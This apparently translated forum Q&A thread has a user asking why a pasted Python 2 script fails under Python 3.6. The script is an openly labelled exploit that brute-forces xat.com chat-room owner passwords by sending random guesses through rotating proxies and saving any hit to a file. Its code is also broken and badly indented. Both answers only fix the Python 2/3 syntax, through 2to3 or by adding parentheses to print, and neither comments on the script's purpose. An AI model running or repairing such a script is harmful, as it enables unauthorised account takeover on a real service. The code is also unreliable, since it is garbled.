Syntax error in file . py

Question

I looked for a code . py on the internet and at the time of executing it comes out the following message:

File "C: Users Valnei Desktop Xatexploit.py", line 26 print "Trying password => " + str(String_7)

Syntaxerror: invalid syntax

import random
import threading
from threading import Thread

#ArcticBear / ArcticFox / TheFox / EVERY OTHER NICKNAME X3 's Main Owner Exploit v2 (Chat Default Password Bruteforce)

global init, main, Room_3

def getBetween(strSource, strStart,strEnd):
    start = strSource.find(strStart) + len(strStart)
    end = strSource.find(strEnd,start)
    return strSource[start:end]

def xat(url):
    global Proxy_1, Proxy_2, Proxy_3, Proxy_4, Proxy_5
    Randomity = random.randint(1, 2)
    Password_1 = open("password.txt","a")
    Proxy_1 = [i.strip() for i in open('C:\Users\Valnei\Desktop\Proxies.txt','r').read().splitlines()]
    Proxy_2 = random.choice(Proxy_1)
    Proxy_3 = Proxy_2.split(':')
    Proxy_4 = 'http://' + str(Proxy_3[0]) + ':' + str(Proxy_3[1])
    if Randomity == 1:
      Page_1 = urllib.urlopen(url).read()
    else:
      Page_1 = urllib.urlopen(url, proxies = { 'http': Proxy_4 }).read()
      print "Trying password => " + str(String_7)
    try:
      Page_2 = getBetween(Page_1,'<font color=red><b> <span>','</span></b></font><BR>')
      if Page_2.find('not found') or Page_2.find('Error. Try again in 10 minutes.'):
           print("Failed!")
      else:
           print("Password found!")
           Password_1.write(str(Page_2))
 except:
      while 1:
           threading.Thread(target=main,args=()).start()
           time.sleep(2)
 while 1:
      threading.Thread(target=main,args=()).start()
      time.sleep(2)

 def init(Room):
     import random
     global String_7
     Strings_1, Strings_2 = ['a','b','c','d','e'], ['f','g','h','i','j']
     String_2 = ''.join(Strings_1)
     String_3 = ''.join(Strings_2)
     String_4 = len(String_2)
     String_5 = len(String_3)
     String_6 = int(String_4) ** 13
     String_7 = random.randint(String_6, 9999999999)
     #print str(String_7)
     xat('http://xat.com/web_gear/chat.php?id='+Room+'&pw='+str(String_7))
     time.sleep(1)

def main():
     init(Room_3)

import urllib
     Room_1 = 'NewOption'
     Room_2 = urllib.urlopen('http://xat.com/' + Room_1).read()
     Room_3 = getBetween(Room_2,'flashvars="id=','&')

     while 1:
         import time
         threading.Thread(target=main,args=()).start()
         time.sleep(1)
     while 1:
         threading.Thread(target=main,args=()).start()
         time.sleep(1)

My python version is 3.6.0. What do I do to fix this bug?

Answer 1

You can use 2to3 library to automatically convert a python2 code to python3, so you wouldn’t need to downgrade python.

It should already be installed with your python.
On Linux, simply type the following command, which prints the diff needed to transform the code to python3:

2to3 source.py

Sometimes the command to be used can be a variation of 2to3, such as 2to3-3.4, for example.

In Windows, you would need a command like this, depending on where your python is installed:

python.exe C:\Python32\Tools\scripts\2to3.py source.py

To translate an entire project to another folder, just do this:

2to3 --output-dir=python3-version/mycode -W -n python2-version/mycode

Or, on Windows:

python.exe C:\Python32\Tools\scripts\2to3.py --output-dir=python3-version/mycode -W -n python2-version/mycode

For more information on the command, see documentation (in English).

Answer 2

Missed a parentheses, stay like this:

print ("Trying password => " + str(String_7))

It is a compatibility problem between Python 2 and Python 3, 2.x works, 3.x does not.